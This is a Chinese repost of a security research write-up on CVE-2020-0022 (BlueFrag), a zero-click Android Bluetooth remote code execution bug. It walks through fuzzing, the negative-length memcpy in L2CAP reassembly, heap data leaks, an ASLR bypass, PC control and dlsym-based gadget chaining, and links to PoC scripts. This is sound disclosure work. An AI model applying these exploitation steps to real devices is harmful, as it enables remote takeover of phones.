天天看点

android crash没有日志_BlueFrag:Android 蓝牙零交互远程代码执行漏洞分析

android crash没有日志_BlueFrag:Android 蓝牙零交互远程代码执行漏洞分析

如今,蓝牙已成为移动设备不可或缺的一部分,智能手机与智能手表和无线耳机互连。默认情况下,大多数设备都配置为接受来自附近任何未经身份验证的设备的蓝牙连接,蓝牙数据包由蓝牙芯片(也称为控制器)处理,然后传递到主机(Android,Linux等),芯片上的固件和主机蓝牙子系统都是远程代码执行(RCE)攻击的目标。

大多数经典蓝牙实现中可用的一项函数是通过蓝牙ping应答,攻击者只需知道设备的蓝牙地址即可。即使无法发现目标,如果目标被寻址,它通常也会接受连接。例如,攻击者可以运行l2ping,后者会建立L2CAP连接并将回显请求发送到远程目标。

在下文中,我们描述了针对Android 9的蓝牙零点击短距离RCE攻击,该漏洞被分配了CVE-2020-0022。我们已完成在Samsung Galaxy S10e上建立远程shell所需的所有步骤,在2019年11月3日报告此漏洞时使用最新的Android 9,该漏洞利用的漏洞仍然存在于Android中10,但我们利用了Bionic(Android的libc实现)中的另一个bug ,这使得利用方式更加容易。该漏洞最终在A-143894715中的1.2.2020版本的安全补丁中得到修复。

这是PoC的演示:

android crash没有日志_BlueFrag:Android 蓝牙零交互远程代码执行漏洞分析
android crash没有日志_BlueFrag:Android 蓝牙零交互远程代码执行漏洞分析
android crash没有日志_BlueFrag:Android 蓝牙零交互远程代码执行漏洞分析
android crash没有日志_BlueFrag:Android 蓝牙零交互远程代码执行漏洞分析

https://www.youtube.com/watch?v=lrZnZNyEqFg&feature=youtu.be

android crash没有日志_BlueFrag:Android 蓝牙零交互远程代码执行漏洞分析

0x01 准备工作

在InternalBlue和Frankenstein上有一些对Braodcom蓝牙固件的研究。InternalBlue最初是由Dennis Mantz编写的,它与固件交互可以添加调试函数,在该项目中,完成了许多逆向工作对固件的详细信息进行了梳理。

android crash没有日志_BlueFrag:Android 蓝牙零交互远程代码执行漏洞分析

为了进行进一步的分析,我们编译了Frankenstein,可以模拟固件进行Fuzzing,要实现固件仿真,必不可少的部分是了解Bluetooth Core Scheduler(BCS)。该组件非常重要,因为它还可以处理数据包和Payload头,并管理时间紧迫的任务。有些低级函数无法从主机访问,甚至无法在固件本身的线程组件内访问,通过访问BCS,我们甚至能够将原始无线帧注入到仿真固件中。

用Frankenstein进行Fuzzing时,我们重点研究了配对之前出现的漏洞。在协议的这些部分中,我们发现了两个漏洞,一个是经典蓝牙漏洞,另一个是低功耗蓝牙(BLE)漏洞。第一个堆溢出是在处理蓝牙扫描结果(EIR数据包)时,影响了编译日期在2010 -2018年之间的固件,甚至更老的固件可能也会受影响(CVE-2019-11516)。为此,我们于2019年4月向Broadcom提供了完整的RCE概念证明(PoC)。报告发布后,Broadcom声称他们知道此漏洞,实际上,最新的Samsung Galaxy S10e有一个补丁程序。自蓝牙4.2之后,第二个堆溢出会影响所有BLE数据包数据单元(PDU),我们于2019年6月向Broadcom提供了PoC,该PoC会破坏堆栈。据我们所知,该漏洞截至2020年2月尚未修复。

在研究PoC以及如何将大量数据放入堆中的思路时,我们还研究了经典的蓝牙异步连接(ACL)数据包。这些主要用于数据传输,例如音乐流,网络共享或更一般的L2CAP。在固件内,ACL处理相对简单,有很多更复杂的处理程序和专有协议扩展,例如,Jiska Classen发现了链接管理协议(LMP)类型混淆漏洞(CVE-2018-19860)。

android crash没有日志_BlueFrag:Android 蓝牙零交互远程代码执行漏洞分析

0x02 Fuzz ACL

这篇文章中描述的漏洞是在ACL中触发的。我们通过对数据包和有效载荷报头执行位翻转来Fuzzing此协议。通过将固件bcs_dmaRxEnable挂在固件中来实现初始Fuzzer,该函数由BCS ACL任务调用。bcs_dmaRxEnable将无线帧复制到发送缓冲区。在执行此函数之前,数据包和有效载荷报头已被写入相应的硬件寄存器,因此,我们能够在传输之前修改完整的数据包,从而在固件中编译一个简单的蓝牙Fuzzer。

android crash没有日志_BlueFrag:Android 蓝牙零交互远程代码执行漏洞分析

在初始设置中,我们通过无线方式在Linux主机上对Android设备进行l2ping操作,并且蓝牙固件Fuzzer随机将标头中的位翻转。当我们尝试使Android设备的固件Crash时,Android Bluetooth守护程序Crash了。在日志中,我们观察到一些Crash报告,如下所示:

 pid: 14808, tid: 14858, name: HwBinder:14808_  >>> com.android.bluetooth <<<

 signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x79cde00000

     x0  00000079d18360e1  x1  00000079cddfffcb  x2  fffffffffff385ef  x3  00000079d18fda60

     x4  00000079cdd3860a  x5  00000079d18360df  x6  0000000000000000  x7  0000000000000000

     x8  0000000000000000  x9  0000000000000000  x10 0000000000000000  x11 0000000000000000

     x12 0000000000000000  x13 0000000000000000  x14 ffffffffffffffff  x15 2610312e00000000

     x16 00000079bf1a02b8  x17 0000007a5891dcb0  x18 00000079bd818fda  x19 00000079cdd38600

     x20 00000079d1836000  x21 0000000000000097  x22 00000000000000db  x23 00000079bd81a588

     x24 00000079bd819c60  x25 00000079bd81a588  x26 0000000000000028  x27 0000000000000041

     x28 0000000000002019  x29 00000079bd819df0

     sp  00000079bd819c50  lr  00000079beef4124  pc  0000007a5891ddd4

 backtrace:

     #00 pc 000000000001ddd4  /system/lib64/libc.so (memcpy+292)

     #01 pc 0000000000233120  /system/lib64/libbluetooth.so (reassemble_and_dispatch(BT_HDR*) [clone .cfi]+1408)

     #02 pc 000000000022fc7c  /system/lib64/libbluetooth.so (BluetoothHciCallbacks::aclDataReceived(android::hardware::hidl_vec const&)+144)

     [...]

memcpy在reassemble_and_dispatch内部以负长度执行,memcpy的简化实现如下所示:

 void * memcpy(char * dest; char * src,size_t * n){

    for(size_t i = 0 ; i

     dst [i] = src [i];

 }

长度参数n为size_t类型,因此为无符号整数。如果我们将负数传递为n,由于二进制补码表示,它将被解释为大正数。

结果,memcpy试图以无穷循环的方式复制内存,这会在我们遇到未映射的内存时立即导致Crash。

android crash没有日志_BlueFrag:Android 蓝牙零交互远程代码执行漏洞分析

0x03 L2CAP 数据包

蓝牙在各个层上实现分段。在分析此Crash的过程中,我们集中于在控制器和主机之间传递的L2CAP数据包的分,对于主机和控制器之间的命令和配置,使用主机控制器接口(HCI)即可。

L2CAP通过与HCI相同的UART线作为ACL数据包发送。需要将其分片为最大ACL数据包长度,在主机上的驱动程序初始化固件期间,HCI命令“ Read Buffer Size”。在Broadcom芯片上,此大小为1021,在将数据包发送到固件时,主机的驱动程序需要遵守这些大小限制。同样,固件还会拒绝未通过适当分段的L2CAP输入,由于主机上会发生分片和重新组装,但是固件本身也有严格的大小限制,因此L2CAP对于主机和控制器上的堆利用非常有趣。

如果接收到一个L2CAP数据包,该数据包的长度比最大缓冲区大小1021长,则必须重新组装它。部分数据包以连接句柄为键,存储在partial_packets的映射中。分配足够大以容纳最终数据包的缓冲区,然后将接收到的数据复制到该缓冲区,最后收到的片段的末尾存储在partial_packet-> offset中。

android crash没有日志_BlueFrag:Android 蓝牙零交互远程代码执行漏洞分析

以下数据包已设置了继续标志,以指示这是一个数据包片段。它是ACL标头内连接句柄中的第12位,如果接收到这样的分组,则将分组内容复制到先前的偏移。

android crash没有日志_BlueFrag:Android 蓝牙零交互远程代码执行漏洞分析

static void reassemble_and_dispatch(UNUSED_ATTR BT_HDR *packet) {

       [...]

       packet->offset = HCI_ACL_PREAMBLE_SIZE;

       uint16_t projected_offset =

           partial_packet->offset + (packet->len - HCI_ACL_PREAMBLE_SIZE);

       if (projected_offset >

           partial_packet->len) {  // len stores the expected length

         LOG_WARN(LOG_TAG,

              "%s got packet which would exceed expected length of %d."

              "Truncating.",

              __func__, partial_packet->len);

         packet->len = partial_packet->len - partial_packet->offset;

         projected_offset = partial_packet->len;

       }

       memcpy(partial_packet->data + partial_packet->offset,

          packet->data + packet->offset, packet->len - packet->offset);

       [...]

 }

如上面的代码所示,此步骤将导致memcpy负长度。在我们得到一个数据包并且只剩下2个字节要接收的情况下,如果连续时间比预期的长,则将packet-> length截断以避免缓冲区溢出,长度设置为剩余要复制的字节数。

由于我们需要跳过HCI和ACL前同步码,因此使用HCI_ACL_PREAMBLE_SIZE(4)作为数据包偏移量,然后从要复制的字节数中减去它,导致memcpy的负长度为-2 。

此漏洞已在android-8.0.0_r43,android-8.1.0_r73,android-9.0.0_r53和android-10.0.0_r29中安装了一个修复程序。

android crash没有日志_BlueFrag:Android 蓝牙零交互远程代码执行漏洞分析

0x04 分析 Crashs

由于最终会遇到无休止的memcpy,因此上述bug似乎无法利用。但是,偶尔会在不同的位置Crash,例如,以下Crash位于同一线程中,但无法通过简单的无限memcpy循环来解释。因此,我们希望在某处找到另一个漏洞。

 pid: 14530, tid: 14579, name: btu message loo  >>> com.android.bluetooth <<<

 signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x7a9e0072656761

     x0  0000007ab07d72c0  x1  0000007ab0795600  x2  0000007ab0795600  x3  0000000000000012

     x4  0000000000000000  x5  0000007a9e816178  x6  fefeff7a3ac305ff  x7  7f7f7f7f7fff7f7f

     x8  007a9e0072656761  x9  0000000000000000  x10 0000000000000020  x11 0000000000002000

     x12 0000007aa00fc350  x13 0000000000002000  x14 000000000000000d  x15 0000000000000000

     x16 0000007b396f6490  x17 0000007b3bc46120  x18 0000007a9e81542a  x19 0000007ab07d72c0

     x20 0000007ab0795600  x21 0000007a9e817588  x22 0000007a9e817588  x23 000000000000350f

     x24 0000000000000000  x25 0000007ab07d7058  x26 000000000000008b  x27 0000000000000000

     x28 0000007a9e817588  x29 0000007a9e816340

     sp  0000007a9e8161e0  lr  0000007a9fde0ca0  pc  0000007a9fe1a9a4

 backtrace:

     #00 pc 00000000003229a4  /system/lib64/libbluetooth.so (list_append(list_t*, void*) [clone .cfi]+52)

     #01 pc 00000000002e8c9c  /system/lib64/libbluetooth.so (l2c_link_check_send_pkts(t_l2c_linkcb*, t_l2c_ccb*, BT_HDR*) [clone .cfi]+100)

     #02 pc 00000000002ea25c  /system/lib64/libbluetooth.so (l2c_rcv_acl_data(BT_HDR*) [clone .cfi]+1236)

     [...]

我们花了几天来追踪这些Crash,并将Fuzzing设置修改为可重现。但是,不可能通过重播数据包来重现这些有趣的Crash。调试过程中的主要漏洞是我们没有使用地址清理器来编译Android,它将在随机位置Crash之前检测到内存损坏bug。因此,我们通过使L2Ping数据包的Payload保持恒定,可以将其与响应的Payload进行比较,如果同时进行数据更改,则会发生内存损坏,但尚未导致Crash。运行一段时间后,我们会收到如下损坏的响应:

android crash没有日志_BlueFrag:Android 蓝牙零交互远程代码执行漏洞分析

使用这种检测方法,我们甚至能够可靠地重现此行为。以下数据包组合将触发它:

1. L2cap数据包,剩余2个字节用'A'填充

2. 持续时间比预期的包含“ B”的2个字节长

在Android logcat中,我们可以观察到以下漏洞消息:

 bt_hci_packet_fragmenter: reassemble_and_dispatch got packet which would

  exceed expected length of 147. Truncating.

此触发看起来类似于上述漏洞。请注意,只有最后一个字节被破坏,而数据包的开头仍然是正确的。此行为无法用源代码和到目前为止我们所知道的信息来解释。保持缓冲区前两个字节完整或以这种受控方式覆盖指针和偏移的直接缓冲区溢出是不太可能的。在这一点上,我们决定在packet_fragmenter中设置断点,以观察在何处修改了数据包数据。我们用下面的GDB脚本调试这种行为,而reassemble_and_dispatch + 1408和reassemble_and_dispatch + 1104是两个memcpy在reassemble_and_dispatch如前所述的调用。

 b reassemble_and_dispatch

 commands; x/32x $x0; c; end

 b dispatch_reassembled

 commands; x/i $lr; x/32x $x0; c; end

 b *(reassemble_and_dispatch+1408)

 commands; p $x0; p $x1;p $x2; c; end

 b *(reassemble_and_dispatch+1104)

 commands; p $x0; p $x1; p $x2; c; end

对于第一个包含“ A”的数据包,我们可以观察以下日志。它按预期收到,并且第一个memcpy的长度为0x52字节。该长度在数据包内部的BT_HDR结构中也可见,并且是正确的。ACL和L2CAP标头中包含的长度比实际Payload长两个字节,以触发数据包的数据包重组。HCI标头中的连接句柄为0x200b,指示连接句柄0x0b的起始数据包。

android crash没有日志_BlueFrag:Android 蓝牙零交互远程代码执行漏洞分析

第二个数据包也以reassemble_and_dispatch正确到达,并且连接句柄已更改为0x100b,并指示连续数据包。如上所述,memcpy的第三个参数是0xfffffffffffffffe aka -2。由于memcpy将第三个参数视为无符号整数,因此该memcpy将导致Crash。

android crash没有日志_BlueFrag:Android 蓝牙零交互远程代码执行漏洞分析

但显然,应用程序继续运行并破坏了部分数据包的最后66个字节,并且已破坏的数据包被传递给dispatch_reassembled。

android crash没有日志_BlueFrag:Android 蓝牙零交互远程代码执行漏洞分析
android crash没有日志_BlueFrag:Android 蓝牙零交互远程代码执行漏洞分析

0x05 memcpy实现

如果我们仔细看一下memcpy的实现,它比上面显示的简单的按字符显示的memcpy更复杂。复制整个内存字(而不是单个字节)效率更高。此实现将其进一步发展,并在将寄存器内容写入目标位置之前用64字节的内存内容填充寄存器。这样的实现更加复杂,并且必须考虑边缘情况,例如奇数长度和地址未对齐。

该memcpy实现中存在有关负长度的怪异行为。当我们尝试复制到目标缓冲区的末尾时,我们用第二个数据包的前一个覆盖了L2Ping请求的最后66个字节。我们编写了这个简短的PoC来测试memcpy。

 int main(int argc, char **argv) {

     if (argc < 3) {

         printf("usage %s offset_dst offset_src\n", argv[0]);

         exit(1);

     }

     char *src = malloc(256);

     char *dst = malloc(256);

     printf("src=%p\n", src);

     printf("dst=%p\n", dst);

     for (int i=0; i<256; i++) src[i] = i;

     memset(dst, 0x23, 256);

     memcpy( dst + 128 + atoi(argv[1]),

             src + 128 + atoi(argv[2]),

             0xfffffffffffffffe );

     //Hexdump

     for(int i=0; i<256; i+=32) {

         printf("%04x:  ", i);

         for (int j=0; j<32; j++) {

             printf("%02x", dst[i+j] & 0xff);

             if (j%4 == 3) printf(" ");

         }

         printf("\n");

     }

 }

android crash没有日志_BlueFrag:Android 蓝牙零交互远程代码执行漏洞分析

在Unicorn中模拟aarch64 memcpy实现进行了分析。相关代码如下所示:

 prfm    PLDL1KEEP, [src]

 add srcend, src, count

 add dstend, dstin, count

 cmp     count, 16

 b.ls    L(copy16)           //Not taken as 0xfffffffffffffffe > 16

 cmp count, 96

 b.hi    L(copy_long)        //Taken as as 0xfffffffffffffffe > 96

 [...]

 L(copy_long):

 and tmp1, dstin, 15         //tmp1 = lower 4 bits of destination

 bic dst, dstin, 15

 ldp D_l, D_h, [src]

 sub src, src, tmp1

 add count, count, tmp1     

                             //It is not only too large

                             //but might also be positive!

                             //0xfffffffffffffffe + 0xe = 0xc

 ldp A_l, A_h, [src, 16]

 stp D_l, D_h, [dstin]

 ldp B_l, B_h, [src, 32]

 ldp C_l, C_h, [src, 48]

 ldp D_l, D_h, [src, 64]!

 subs    count, count, 128 + 16 

                                 //This  will become negative again

 b.ls    2f                      //So this branch is taken

 [...]

 //This will finally corrupt -64...64 bytes and terminate

 2:

 ldp E_l, E_h, [srcend, -64]

 stp A_l, A_h, [dst, 16]

 ldp A_l, A_h, [srcend, -48]

 stp B_l, B_h, [dst, 32]

 ldp B_l, B_h, [srcend, -32]

 stp C_l, C_h, [dst, 48]

 ldp C_l, C_h, [srcend, -16]

 stp D_l, D_h, [dst, 64]

 stp E_l, E_h, [dstend, -64]

 stp A_l, A_h, [dstend, -48]

 stp B_l, B_h, [dstend, -32]

 stp C_l, C_h, [dstend, -16]

 ret

当我们处理非常大的计数值(INT_MAX – 2)时,它将始终大于dst与src之间的距离,因此在我们的案例中将永远不会调用__memcpy,这使得该漏洞在Android 10上无法利用。

android crash没有日志_BlueFrag:Android 蓝牙零交互远程代码执行漏洞分析

0x06 泄漏数据

android crash没有日志_BlueFrag:Android 蓝牙零交互远程代码执行漏洞分析

如上所述,实际上,我们可以用源地址前面的内容覆盖数据包的最后64个字节。源缓冲区之前的前20个字节始终是BT_HDR,acl_hdr和l2cap_hdr。因此,我们会自动泄漏远程设备的连接句柄。

未初始化存储器的内容取决于第二个数据包缓冲区的位置,并因此取决于其大小。通过重复发送常规的L2Ping回显请求,我们可以尝试将自己的数据包数据放置在第二个数据包的前面。这使我们能够用任意数据控制数据包的最后44个字节。通过缩短第一个数据包,我们可以控制包括报头的完整数据包结构。

第一个数据包如下所示:

android crash没有日志_BlueFrag:Android 蓝牙零交互远程代码执行漏洞分析

触发漏洞后,损坏的数据包如下所示。包含“ X”的数据包是我们放在源缓冲区前面的数据包。请注意,除了BT_HDR中的长度,数据包的长度现在是0x280而不是0x30。packet->len字段必须仍然是原来的长度,否则,重新组装的数据会混乱。

android crash没有日志_BlueFrag:Android 蓝牙零交互远程代码执行漏洞分析

这将导致更多的数据泄漏。而且,这是仅对数据的攻击,无需执行代码或任何其他附加信息。它也可以用于将任意的L2CAP流量注入到活动的连接句柄中。成功的数据泄漏如下所示:

android crash没有日志_BlueFrag:Android 蓝牙零交互远程代码执行漏洞分析

为了克服地址空间布局随机化(ASLR),我们需要一些库的基址。我们在堆上的libicuuc.so中找到一个对象,该对象具有以下结构:

· 一些堆指针

· 指向libicuuc.so中的uhash_hashUnicodeString_60的指针``

· 指向libicuuc.so上的uhash_compareUnicodeString_60的指针``

· 指向libicuuc.so上的uhash_compareLong_60的指针``

· 指向libicuuc.so上的uprv_deleteUObject_60的指针``

我们可以使用这些函数之间的偏移量来可靠地检测泄漏中的这种结构,这使我们能够计算libicuuc.so的基址。

android crash没有日志_BlueFrag:Android 蓝牙零交互远程代码执行漏洞分析

0x07 控制PC和paylaod地址

某些库,例如libbluetooth.so,受Clang的调用完整性(CFI)实现的保护。这样可以保护用任意地址覆盖堆上的函数vtable,只有属于受影响对象的函数才可以调用。即使断开连接后,在破坏堆之后,我们偶尔也会触发以下Crash。

 signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x37363534333231

     x0  3837363534333231  x1  000000750c2649e0  x2  000000751e50a338  x3  0000000000000000

     x4  0000000000000001  x5  0000000000000001  x6  00000075ab788000  x7  0000000001d8312e

     x8  00000075084106c0  x9  0000000000000001  x10 0000000000000001  x11 0000000000000000

     x12 0000000000000047  x13 0000000000002000  x14 000f5436af89ca08  x15 000024747b62062a

     x16 000000750c2f55d8  x17 000000750c21b088  x18 000000750a660066  x19 000000751e50a338

     x20 000000751e40dfb0  x21 000000751e489694  x22 0000000000000001  x23 0000000000000000

     x24 000000750be85f64  x25 000000750a661588  x26 0000000000000005  x27 00000075084106b4

     x28 000000750a661588  x29 000000750a65fd30

     sp  000000750a65fd10  lr  000000750c264bb8  pc  000000750c264c5c

 backtrace:

     #00 pc 00000000000dbc5c  /system/lib64/libchrome.so (base::WaitableEvent::Signal()+200)

     #01 pc 00000000000add88  /system/lib64/libchrome.so (base::internal::IncomingTaskQueue::PostPendingTask(base::PendingTask*)+320)

     [...]

     #09 pc 00000000002dd0a8  /system/lib64/libbluetooth.so (L2CA_DisconnectRsp(unsigned short) [clone .cfi]+84)

     #10 pc 0000000000307a08  /system/lib64/libbluetooth.so (sdp_disconnect_ind(unsigned short, bool) [clone .cfi]+44)

     #11 pc 00000000002e39d4  /system/lib64/libbluetooth.so (l2c_csm_execute(t_l2c_ccb*, unsigned short, void*) [clone .cfi]+5500)

     #12 pc 00000000002eae04  /system/lib64/libbluetooth.so (l2c_rcv_acl_data(BT_HDR*) [clone .cfi]+4220)

     [...]

在泄漏过程中,我们不仅会向负方向溢出,还会破坏存储在受影响缓冲区之后的数据。在这种情况下,我们已经覆盖了存储在X0中的指针。 通过查看代码中的位置,我们使指令在X0控制的分支寄存器之前Crash。

 dbc5c: f9400008 ldr x8, [x0] // We control X0

 dbc60: f9400108 ldr x8, [x8]

 dbc64: aa1403e1 mov x1, x20

 dbc68: d63f0100 blr x8 // Brach to **X0

如果我们知道一个可以存储任意数据的地址,则可以控制pc!没有启用CFI编译libchrome.so。我们的数据包数据必须存储在堆中的某个地方,但是还需要一种方法来检索地址以获得RCE。这是由于部分数据包以连接句柄为键存储在哈希图中的:

 BT_HDR* partial_packet =

          (BT_HDR*)buffer_allocator->alloc(full_length + sizeof(BT_HDR));

 [...]

 memcpy(partial_packet->data, packet->data, packet->len);

 [...]

 partial_packets[handle] = partial_packet;

这将在堆上分配一个映射对象,其中包含键(handle)和一个指向我们数据包的指针。最终,我们可以泄漏该映射对象,从而显示指向缓冲区的指针。通过使用最大允许的数据包大小,我们有数百个字节来存储ROP链和Payload。

这种整体方法并不完全可靠,但在30%-50%的情况下有效。因此,地址空间仅在引导时随机分配。即使我们使守护程序Crash,它也会以相同的地址布局重新启动,因此攻击者可以反复尝试获得RCE。

android crash没有日志_BlueFrag:Android 蓝牙零交互远程代码执行漏洞分析

0x08 调用system()

即使我们知道libicuuc.so的绝对地址,库之间的偏移量也是随机的。因此,该库中只有可用的gadget。 该libicuuc.so中没有系统调用函数。

我们没有直接使用system或execve,但是我们有dlsym可用。该函数需要一个句柄(例如NULL指针)和一个函数名作为参数。它解析并返回该函数的地址,可用于获取system的地址。因此,我们需要执行一个函数调用并以受控方式从中返回。在ROP中,这通常不是漏洞,因为gadget无论如何都必须以返回结尾。但是,我们无法执行ROP所需的堆栈透视。因此,必须使用C ++对象调用来执行所需的操作,这些操作通常相对于X8或X19。结果,我们的Payload中有很多相对引用,为了跟踪已经使用的偏移量,我们实现了一个名为set_ptr(payload,offset,value)的函数,如果已经使用了Payload中的给定偏移量,则会抛出错误。

为了从dlsym干净地返回,我们使用了一个名为u_cleanup_60的解构函数。如果指针不为NULL,它将遍历函数列表,然后调用并清除地址。这非常方便,因为我们可以调用dlsym并可以在返回后控制执行,而无需使用堆栈视图。

 ldr x8,[x19,#0x40 ];cbz x8,#0xbc128 ; blr x8; str xzr,[x19,#0x40 ]; 

 ldr x8,[x19,#0x48 ] ; cbz x8,#0xbc138 ; blr x8; str xzr,[x19,#0x48 ]; 

 ldr x8,[x19,#0x50 ];cbz x8,#0xbc148 ; blr x8; str xzr,[x19,#0x50 ]; 

 ldr x8,[x19,#0x58 ];cbz x8,#0xbc158 ; blr x8;

android crash没有日志_BlueFrag:Android 蓝牙零交互远程代码执行漏洞分析

0x09 总结

该漏洞最初提交给了Android安全团队,并于2019年11月3日发布PoC。它已于2020年2月1日修复,并得到 Android安全团队的确认。

可在此处下载测试脚本。ROP链已从漏洞利用中删除,文件包含以下文件:

 https://insinuator.net/wp-content/uploads/2020/04/cve_2020_0022_export.tar.gz

 python2 simple_leak.py target PoC for the section “Unexpected leak”

 python2 fancy_leak.py target PoC for the section “Leaking More Data”

 python2 memcpy.py libc.so memcpy Unicorn emulation of memcpy for section “memwtf(,,-2);”

 python2 exploit.py target remote_libicuuc.so exploit excluding ROP chain

参考及来源:https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/

android crash没有日志_BlueFrag:Android 蓝牙零交互远程代码执行漏洞分析
android crash没有日志_BlueFrag:Android 蓝牙零交互远程代码执行漏洞分析